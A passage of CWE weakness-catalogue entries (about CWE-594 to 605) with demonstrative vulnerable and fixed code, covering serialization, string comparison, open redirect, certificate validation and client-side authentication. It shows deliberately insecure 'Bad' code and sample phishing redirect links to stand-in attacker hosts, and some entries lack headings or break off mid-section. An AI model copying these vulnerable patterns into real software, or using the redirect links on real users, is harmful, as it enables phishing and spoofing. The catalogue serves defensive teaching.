When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even

application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1931

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Data represented by unserializable objects can be corrupted.*	
Availability	DoS: Crash, Exit, or Restart *Non-serializability of objects can lead to system crash.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Demonstrative Examples

Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Example Language: Java *(Bad)*

```
@Entity
public class Customer {
   private String id;
   private String firstName;
   private String lastName;
   private Address address;
   public Customer() {
   }
   public Customer(String id, String firstName, String lastName) {...}
   @Id
   public String getCustomerId() {...}
```

```
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Example Language: Java *(Good)*

```
public class Customer implements Serializable {...}
```

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID : 595
Structure : Simple
Abstraction : Variant

Description

The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ParentOf	V	597	Use of Wrong Operator in String Comparison	1348
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1952

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness can lead to erroneous results that can cause unexpected application behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
   System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: Java *(Good)*

```
if (str1.equals(str2)) {
   System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java *(Bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
   return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java *(Good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
   return accountA.equals(accountB);
}
```

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID : 597
Structure : Simple
Abstraction : Variant

Description

The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1160
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1345

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1345

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Within Java, use .equals() to compare string values. Within JavaScript, use == to compare string values. Within PHP, use == to compare a numeric value to a string value. (PHP converts the string to a number.)

Effectiveness = High

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
   System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: Java *(Good)*

```
if (str1.equals(str2)) {
   System.out.println("str1 equals str2");
}
```

Example 2:

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

Example Language: JavaScript *(Bad)*

```
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i === s1)
{
   document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}
if (s4 === i)
{
   document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}
if (s4 === s1)
{
   document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

Example Language: JavaScript *(Good)*

```
<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i == s1)
{
   document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}
if (s4 == i)
{
   document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}
if (s4 == s1)
{
   document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}
```

Example 3:

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

Example Language: PHP *(Bad)*

```
var $i = 65;
var $s1 = "65";
if ($i === $s1)
{
   echo '($i === $s1) is TRUE'. "\n";
}
else
{
   echo '($i === $s1) is FALSE'. "\n";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

Example Language: PHP *(Good)*

```
var $i = 65;
var $s1 = "65";
if ($i == $s1)
```

```
{
   echo '($i == $s1) is TRUE'. "\n";
}
else
{
   echo '($i == $s1) is FALSE'. "\n";
}
```

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID : 598
Structure : Simple
Abstraction : Variant

Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	201	Insertion of Sensitive Information Into Sent Data	521

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

Observed Examples

Reference	Description
CVE-2022-23546	A discussion platform leaks private information in GET requests. *https://www.cve.org/CVERecord?id=CVE-2022-23546*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2375
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2437
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2528
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

Notes

Other

The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599
Structure : Simple
Abstraction : Variant

Description

The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	721

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2466

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The data read may not be properly secured, it might be viewed by an attacker.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Trust afforded to the system in question may allow for spoofing or redirection attacks.*	
Access Control	Gain Privileges or Assume Identity *If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got certificate, host can be trusted
  //foo=SSL_get_verify_result(ssl);
  //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2432
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID : 600
Structure : Simple
Abstraction : Variant

Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	248	Uncaught Exception	604
PeerOf	B	390	Detection of Error Condition Without Action	952
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	540

Alternate Terms

Missing Catch Block :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
   String ip = req.getRemoteAddr();
   InetAddress addr = InetAddress.getByName(ip);
   ...
   out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2402
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2437
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2573

Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

Taxonomy Mappings

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Alternate Terms

Open Redirect :

Cross-site Redirect :

Cross-domain Redirect :

Unvalidated Redirect :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.*	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other *By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam. The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

Example Language: PHP *(Bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Example Language: *(Attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. *https://www.cve.org/CVERecord?id=CVE-2005-4206*
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function. *https://www.cve.org/CVERecord?id=CVE-2008-2951*
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter. *https://www.cve.org/CVERecord?id=CVE-2008-2052*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-

Reference	Description
	encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*

MemberOf Relationships

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602
Structure : Simple
Abstraction : Class

Description

The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Scope	Impact	Likelihood
	application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.*	

Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl *(Good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
```

```
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
   # username/pass is valid, go ahead and update the info!
   writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
   print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language: Perl *(Bad)*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
   ($username, $pass) = split(/\s+/, $args, 2);
   $result = AuthenticateUser($username, $pass);
   writeSocket($sock, "$result\n");
   # does not close the socket on failure; assumes the
   # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
   if (validateAddress($args)) {
      $res = UpdateDatabaseRecord($username, "address", $args);
      writeSocket($sock, "SUCCESS\n");
   }
   else {
      writeSocket($sock, "FAILURE -- address is malformed\n");
   }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

Observed Examples

Reference	Description
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. *https://www.cve.org/CVERecord?id=CVE-2022-33139*
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks. *https://www.cve.org/CVERecord?id=CVE-2006-6994*
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0163*

Reference	Description
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0164*
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2007-0100*

CWE-603: Use of Client-Side Authentication

Weakness ID : 603
Structure : Simple
Abstraction : Base

Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-605: Multiple Binds to the Same Port

Weakness ID : 605
Structure : Simple
Abstraction : Variant

Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Extended Description

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

Relationships

